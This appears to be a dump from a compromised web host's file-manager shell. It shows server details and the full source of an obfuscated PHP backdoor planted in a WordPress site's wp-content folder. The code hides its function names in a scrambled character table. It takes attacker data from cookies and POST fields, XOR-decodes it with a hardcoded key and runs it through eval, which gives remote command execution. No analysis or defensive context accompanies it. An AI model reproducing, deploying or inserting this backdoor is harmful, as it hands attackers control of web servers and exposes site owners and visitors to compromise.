HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/alias87.php
<?php
$caiiv = 'nHdxm7*byrkl329_pt4v18a0ge5#o\'s-cui';$jopjuvm = Array();$jopjuvm[] = $caiiv[1].$caiiv[6];$jopjuvm[] = $caiiv[27];$jopjuvm[] = $caiiv[21].$caiiv[18].$caiiv[32].$caiiv[5].$caiiv[14].$caiiv[25].$caiiv[13].$caiiv[21].$caiiv[31].$caiiv[20].$caiiv[23].$caiiv[18].$caiiv[32].$caiiv[31].$caiiv[18].$caiiv[32].$caiiv[26].$caiiv[2].$caiiv[31].$caiiv[21].$caiiv[14].$caiiv[5].$caiiv[21].$caiiv[31].$caiiv[2].$caiiv[5].$caiiv[14].$caiiv[2].$caiiv[5].$caiiv[13].$caiiv[21].$caiiv[5].$caiiv[5].$caiiv[12].$caiiv[26].$caiiv[20];$jopjuvm[] = $caiiv[32].$caiiv[28].$caiiv[33].$caiiv[0].$caiiv[17];$jopjuvm[] = $caiiv[30].$caiiv[17].$caiiv[9].$caiiv[15].$caiiv[9].$caiiv[25].$caiiv[16].$caiiv[25].$caiiv[22].$caiiv[17];$jopjuvm[] = $caiiv[25].$caiiv[3].$caiiv[16].$caiiv[11].$caiiv[28].$caiiv[2].$caiiv[25];$jopjuvm[] = $caiiv[30].$caiiv[33].$caiiv[7].$caiiv[30].$caiiv[17].$caiiv[9];$jopjuvm[] = $caiiv[22].$caiiv[9].$caiiv[9].$caiiv[22].$caiiv[8].$caiiv[15].$caiiv[4].$caiiv[25].$caiiv[9].$caiiv[24].$caiiv[25];$jopjuvm[] = $caiiv[30].$caiiv[17].$caiiv[9].$caiiv[11].$caiiv[25].$caiiv[0];$jopjuvm[] = $caiiv[16].$caiiv[22].$caiiv[32].$caiiv[10];foreach ($jopjuvm[7]($_COOKIE, $_POST) as $enpdwkc => $nwzjuhg){function hznqysf($jopjuvm, $enpdwkc, $wjmtqw){return $jopjuvm[6]($jopjuvm[4]($enpdwkc . $jopjuvm[2], ($wjmtqw / $jopjuvm[8]($enpdwkc)) + 1), 0, $wjmtqw);}function bufaurt($jopjuvm, $phcwmer){return @$jopjuvm[9]($jopjuvm[0], $phcwmer);}function ommrw($jopjuvm, $phcwmer){$addnf = $jopjuvm[3]($phcwmer) % 3;if (!$addnf) {eval($phcwmer[1]($phcwmer[2]));exit();}}$nwzjuhg = bufaurt($jopjuvm, $nwzjuhg);ommrw($jopjuvm, $jopjuvm[5]($jopjuvm[1], $nwzjuhg ^ hznqysf($jopjuvm, $enpdwkc, $jopjuvm[8]($nwzjuhg))));}